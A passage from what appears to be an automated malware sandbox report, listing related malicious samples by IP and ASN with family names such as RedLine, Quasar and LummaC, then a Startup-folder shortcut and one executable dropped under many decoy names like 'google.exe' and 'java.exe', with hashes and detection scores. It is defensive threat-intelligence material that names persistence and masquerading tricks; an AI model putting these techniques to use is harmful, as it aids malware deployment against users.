	a8o2z9Awf6.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	BKT2HSG6sZ.exe	Get hash	malicious	RedLine	Browse	192.229.221.95
	PO#11111002222.vbs	Get hash	malicious	FormBook	Browse	192.229.221.95
	Instruction_695-18112-002_Rev.PDF.lnk.d.lnk	Get hash	malicious	Unknown	Browse	192.229.221.95
	Client-built.exe	Get hash	malicious	Quasar	Browse	192.229.221.95
	nj.exe	Get hash	malicious	Quasar	Browse	192.229.221.95
	gkcQYEdJSO.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	192.229.221.95
	wayneenterprisesbatcave-6.0.1901-windows-installer.msi	Get hash	malicious	ScreenConnect Tool	Browse	192.229.221.95
	09-FD-94.03.60.175.07.xlsx.exe	Get hash	malicious	GuLoader	Browse	192.229.221.95

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SIMPLECARRER2IT	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.208.159.109
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, RHADAMANTHYS, XWorm, Xmrig	Browse	185.196.8.237
	file.exe	Get hash	malicious	AsyncRAT, VenomRAT	Browse	185.208.158.187
	Ziraat Bankasi Swift Mesaji.dqy.dll	Get hash	malicious	AsyncRAT, VenomRAT	Browse	185.208.158.187
	file.exe	Get hash	malicious	AsyncRAT, VenomRAT	Browse	185.208.158.187
	file.exe	Get hash	malicious	AsyncRAT, VenomRAT	Browse	185.208.158.187
	lLNOwu1HG4.js	Get hash	malicious	RHADAMANTHYS	Browse	185.196.8.68
	file.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse	185.196.8.239
	stail.exe	Get hash	malicious	Socks5Systemz	Browse	185.208.158.202
	getlab.exe	Get hash	malicious	Socks5Systemz	Browse	185.208.158.202

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\OneDrive\common files.exe	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse
C:\Users\user\OneDrive\autoit3.exe	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DQmU06kq9I.lnk

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Category:	dropped
Size (bytes):	489
Entropy (8bit):	4.1890631882140195
Encrypted:	false
SSDEEP:	12:8mcM1qzYNbRuVC/p4+TG7jEjA2dNIRcqqTGIFi:8mlTnuk4+y7UA2DIR2yB
MD5:	A9F0FC9E0646B0C627AECFF550F859DE
SHA1:	6D53BAC72201CA4161E8A4E5AE87F50C5A12349E
SHA-256:	120130EFFFB439A0E9F1BAC3C333565DCB06927E53658D30A7D4003E7EAC0670
SHA-512:	277ED187D5232C983D14E6EE3EB5C3A3942D2A25772956E0A690500EEC7F91965B66733C249E6DDF9F3F16ACABBC1E388EC8967EF3F496A16104E95AB51F9FC1
Malicious:	false
Preview:	L..................F.............................................................P.O. .:i.....+00.:...:..,.LB.)...A&...&......O.........m.....V.dP....j.2......YdJ .DQMU06~1.EXE..N......DW.r.YdJ..........................-j..D.Q.m.U.0.6.k.q.9.I...e.x.e.......U...............-.......T...........*.a/.....C:\Users\user\Desktop\DQmU06kq9I.exe..+.....\.....\.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.D.Q.m.U.0.6.k.q.9.I...e.x.e...C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.D.e.s.k.t.o.p.....

C:\Users\user\OneDrive\autoit3.exe

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1763328
Entropy (8bit):	7.9328592774034865
Encrypted:	false
SSDEEP:	49152:z/CDAVERG4Wk9R/dA0AwqSoym/VkICGdt:7859Rdy8oVmm
MD5:	D37DAB4C59E707F632BB0B91EAA87FF9
SHA1:	0E153DEBCF54805A0543646620511B57865D6FC9
SHA-256:	375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D
SHA-512:	0AE81ABBE56F0A20C8066C52672D969C962A20B19C7E7165B12C7B16A4F0681C4F96CE2CEDDE50ADE5975CED262D581FC99D0947C188CEC847C8A82EB85BC0AE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}^g..............0...............E.. ........@.. ........................E...........`.................................U...i................................................................................................................... . ..... ...T... ..............@....rsrc................t..............@....idata . ..........................@... . *.. ......................@...fsrfimey.@...@+..<..................@...mhpawist. ....E.....................@....taggant.@....E.."..................@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\OneDrive\autoit3.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\OneDrive\common files.exe

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1763328
Entropy (8bit):	7.9328592774034865
Encrypted:	false
SSDEEP:	49152:z/CDAVERG4Wk9R/dA0AwqSoym/VkICGdt:7859Rdy8oVmm
MD5:	D37DAB4C59E707F632BB0B91EAA87FF9
SHA1:	0E153DEBCF54805A0543646620511B57865D6FC9
SHA-256:	375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D
SHA-512:	0AE81ABBE56F0A20C8066C52672D969C962A20B19C7E7165B12C7B16A4F0681C4F96CE2CEDDE50ADE5975CED262D581FC99D0947C188CEC847C8A82EB85BC0AE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}^g..............0...............E.. ........@.. ........................E...........`.................................U...i................................................................................................................... . ..... ...T... ..............@....rsrc................t..............@....idata . ..........................@... . *.. ......................@...fsrfimey.@...@+..<..................@...mhpawist. ....E.....................@....taggant.@....E.."..................@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\OneDrive\common files.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\OneDrive\google.exe

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1763328
Entropy (8bit):	7.9328592774034865
Encrypted:	false
SSDEEP:	49152:z/CDAVERG4Wk9R/dA0AwqSoym/VkICGdt:7859Rdy8oVmm
MD5:	D37DAB4C59E707F632BB0B91EAA87FF9
SHA1:	0E153DEBCF54805A0543646620511B57865D6FC9
SHA-256:	375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D
SHA-512:	0AE81ABBE56F0A20C8066C52672D969C962A20B19C7E7165B12C7B16A4F0681C4F96CE2CEDDE50ADE5975CED262D581FC99D0947C188CEC847C8A82EB85BC0AE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}^g..............0...............E.. ........@.. ........................E...........`.................................U...i................................................................................................................... . ..... ...T... ..............@....rsrc................t..............@....idata . ..........................@... . *.. ......................@...fsrfimey.@...@+..<..................@...mhpawist. ....E.....................@....taggant.@....E.."..................@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\OneDrive\google.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\OneDrive\internet explorer.exe

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1763328
Entropy (8bit):	7.9328592774034865
Encrypted:	false
SSDEEP:	49152:z/CDAVERG4Wk9R/dA0AwqSoym/VkICGdt:7859Rdy8oVmm
MD5:	D37DAB4C59E707F632BB0B91EAA87FF9
SHA1:	0E153DEBCF54805A0543646620511B57865D6FC9
SHA-256:	375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D
SHA-512:	0AE81ABBE56F0A20C8066C52672D969C962A20B19C7E7165B12C7B16A4F0681C4F96CE2CEDDE50ADE5975CED262D581FC99D0947C188CEC847C8A82EB85BC0AE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}^g..............0...............E.. ........@.. ........................E...........`.................................U...i................................................................................................................... . ..... ...T... ..............@....rsrc................t..............@....idata . ..........................@... . *.. ......................@...fsrfimey.@...@+..<..................@...mhpawist. ....E.....................@....taggant.@....E.."..................@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\OneDrive\internet explorer.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\OneDrive\java.exe

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1763328
Entropy (8bit):	7.9328592774034865
Encrypted:	false
SSDEEP:	49152:z/CDAVERG4Wk9R/dA0AwqSoym/VkICGdt:7859Rdy8oVmm
MD5:	D37DAB4C59E707F632BB0B91EAA87FF9
SHA1:	0E153DEBCF54805A0543646620511B57865D6FC9
SHA-256:	375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D
SHA-512:	0AE81ABBE56F0A20C8066C52672D969C962A20B19C7E7165B12C7B16A4F0681C4F96CE2CEDDE50ADE5975CED262D581FC99D0947C188CEC847C8A82EB85BC0AE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}^g..............0...............E.. ........@.. ........................E...........`.................................U...i................................................................................................................... . ..... ...T... ..............@....rsrc................t..............@....idata . ..........................@... . *.. ......................@...fsrfimey.@...@+..<..................@...mhpawist. ....E.....................@....taggant.@....E.."..................@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\OneDrive\java.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\OneDrive\jdownloader.exe

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1763328
Entropy (8bit):	7.9328592774034865
Encrypted:	false
SSDEEP:	49152:z/CDAVERG4Wk9R/dA0AwqSoym/VkICGdt:7859Rdy8oVmm
MD5:	D37DAB4C59E707F632BB0B91EAA87FF9
SHA1:	0E153DEBCF54805A0543646620511B57865D6FC9
SHA-256:	375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D
SHA-512:	0AE81ABBE56F0A20C8066C52672D969C962A20B19C7E7165B12C7B16A4F0681C4F96CE2CEDDE50ADE5975CED262D581FC99D0947C188CEC847C8A82EB85BC0AE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}^g..............0...............E.. ........@.. ........................E...........`.................................U...i................................................................................................................... . ..... ...T... ..............@....rsrc................t..............@....idata . ..........................@... . *.. ......................@...fsrfimey.@...@+..<..................@...mhpawist. ....E.....................@....taggant.@....E.."..................@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\OneDrive\jdownloader.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\OneDrive\mavdwwsoqjljtvhgturlqfwslqtpryboqwmbsicodmvqkq.exe

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1763328
Entropy (8bit):	7.9328592774034865
Encrypted:	false
SSDEEP:	49152:z/CDAVERG4Wk9R/dA0AwqSoym/VkICGdt:7859Rdy8oVmm
MD5:	D37DAB4C59E707F632BB0B91EAA87FF9
SHA1:	0E153DEBCF54805A0543646620511B57865D6FC9
SHA-256:	375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D
SHA-512:	0AE81ABBE56F0A20C8066C52672D969C962A20B19C7E7165B12C7B16A4F0681C4F96CE2CEDDE50ADE5975CED262D581FC99D0947C188CEC847C8A82EB85BC0AE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}^g..............0...............E.. ........@.. ........................E...........`.................................U...i................................................................................................................... . ..... ...T... ..............@....rsrc................t..............@....idata . ..........................@... . *.. ......................@...fsrfimey.@...@+..<..................@...mhpawist. ....E.....................@....taggant.@....E.."..................@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\OneDrive\mavdwwsoqjljtvhgturlqfwslqtpryboqwmbsicodmvqkq.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\OneDrive\microsoft office.exe

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1763328
Entropy (8bit):	7.9328592774034865
Encrypted:	false
SSDEEP:	49152:z/CDAVERG4Wk9R/dA0AwqSoym/VkICGdt:7859Rdy8oVmm
MD5:	D37DAB4C59E707F632BB0B91EAA87FF9
SHA1:	0E153DEBCF54805A0543646620511B57865D6FC9
SHA-256:	375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D
SHA-512:	0AE81ABBE56F0A20C8066C52672D969C962A20B19C7E7165B12C7B16A4F0681C4F96CE2CEDDE50ADE5975CED262D581FC99D0947C188CEC847C8A82EB85BC0AE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}^g..............0...............E.. ........@.. ........................E...........`.................................U...i................................................................................................................... . ..... ...T... ..............@....rsrc................t..............@....idata . ..........................@... . *.. ......................@...fsrfimey.@...@+..<..................@...mhpawist. ....E.....................@....taggant.@....E.."..................@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\OneDrive\microsoft office.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\OneDrive\microsoft.exe

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1763328
Entropy (8bit):	7.9328592774034865
Encrypted:	false
SSDEEP:	49152:z/CDAVERG4Wk9R/dA0AwqSoym/VkICGdt:7859Rdy8oVmm
MD5:	D37DAB4C59E707F632BB0B91EAA87FF9
SHA1:	0E153DEBCF54805A0543646620511B57865D6FC9
SHA-256:	375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D
SHA-512:	0AE81ABBE56F0A20C8066C52672D969C962A20B19C7E7165B12C7B16A4F0681C4F96CE2CEDDE50ADE5975CED262D581FC99D0947C188CEC847C8A82EB85BC0AE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}^g..............0...............E.. ........@.. ........................E...........`.................................U...i................................................................................................................... . ..... ...T... ..............@....rsrc................t..............@....idata . ..........................@... . *.. ......................@...fsrfimey.@...@+..<..................@...mhpawist. ....E.....................@....taggant.@....E.."..................@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\OneDrive\microsoft.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\OneDrive\microsoft.net.exe

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1763328
Entropy (8bit):	7.9328592774034865
Encrypted:	false
SSDEEP:	49152:z/CDAVERG4Wk9R/dA0AwqSoym/VkICGdt:7859Rdy8oVmm
MD5:	D37DAB4C59E707F632BB0B91EAA87FF9
SHA1:	0E153DEBCF54805A0543646620511B57865D6FC9
SHA-256:	375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D
SHA-512:	0AE81ABBE56F0A20C8066C52672D969C962A20B19C7E7165B12C7B16A4F0681C4F96CE2CEDDE50ADE5975CED262D581FC99D0947C188CEC847C8A82EB85BC0AE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}^g..............0...............E.. ........@.. ........................E...........`.................................U...i................................................................................................................... . ..... ...T... ..............@....rsrc................t..............@....idata . ..........................@... . *.. ......................@...fsrfimey.@...@+..<..................@...mhpawist. ....E.....................@....taggant.@....E.."..................@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\OneDrive\microsoft.net.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\OneDrive\mozilla maintenance service.exe

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1763328
Entropy (8bit):	7.9328592774034865
Encrypted:	false
SSDEEP:	49152:z/CDAVERG4Wk9R/dA0AwqSoym/VkICGdt:7859Rdy8oVmm
MD5:	D37DAB4C59E707F632BB0B91EAA87FF9
SHA1:	0E153DEBCF54805A0543646620511B57865D6FC9
SHA-256:	375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D
SHA-512:	0AE81ABBE56F0A20C8066C52672D969C962A20B19C7E7165B12C7B16A4F0681C4F96CE2CEDDE50ADE5975CED262D581FC99D0947C188CEC847C8A82EB85BC0AE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}^g..............0...............E.. ........@.. ........................E...........`.................................U...i................................................................................................................... . ..... ...T... ..............@....rsrc................t..............@....idata . ..........................@... . *.. ......................@...fsrfimey.@...@+..<..................@...mhpawist. ....E.....................@....taggant.@....E.."..................@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\OneDrive\mozilla maintenance service.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\OneDrive\msbuild.exe

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1763328
Entropy (8bit):	7.9328592774034865
Encrypted:	false
SSDEEP:	49152:z/CDAVERG4Wk9R/dA0AwqSoym/VkICGdt:7859Rdy8oVmm
MD5:	D37DAB4C59E707F632BB0B91EAA87FF9
SHA1:	0E153DEBCF54805A0543646620511B57865D6FC9
SHA-256:	375A067BE10250DC045EA14025444AD7EC0662CF189ABBBD393E6F7FFE85B35D
SHA-512:	0AE81ABBE56F0A20C8066C52672D969C962A20B19C7E7165B12C7B16A4F0681C4F96CE2CEDDE50ADE5975CED262D581FC99D0947C188CEC847C8A82EB85BC0AE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L....}^g..............0...............E.. ........@.. ........................E...........`.................................U...i................................................................................................................... . ..... ...T... ..............@....rsrc................t..............@....idata . ..........................@... . *.. ......................@...fsrfimey.@...@+..<..................@...mhpawist. ....E.....................@....taggant.@....E.."..................@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\OneDrive\msbuild.exe:Zone.Identifier

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\OneDrive\msecache.exe

Process:	C:\Users\user\Desktop\DQmU06kq9I.exe
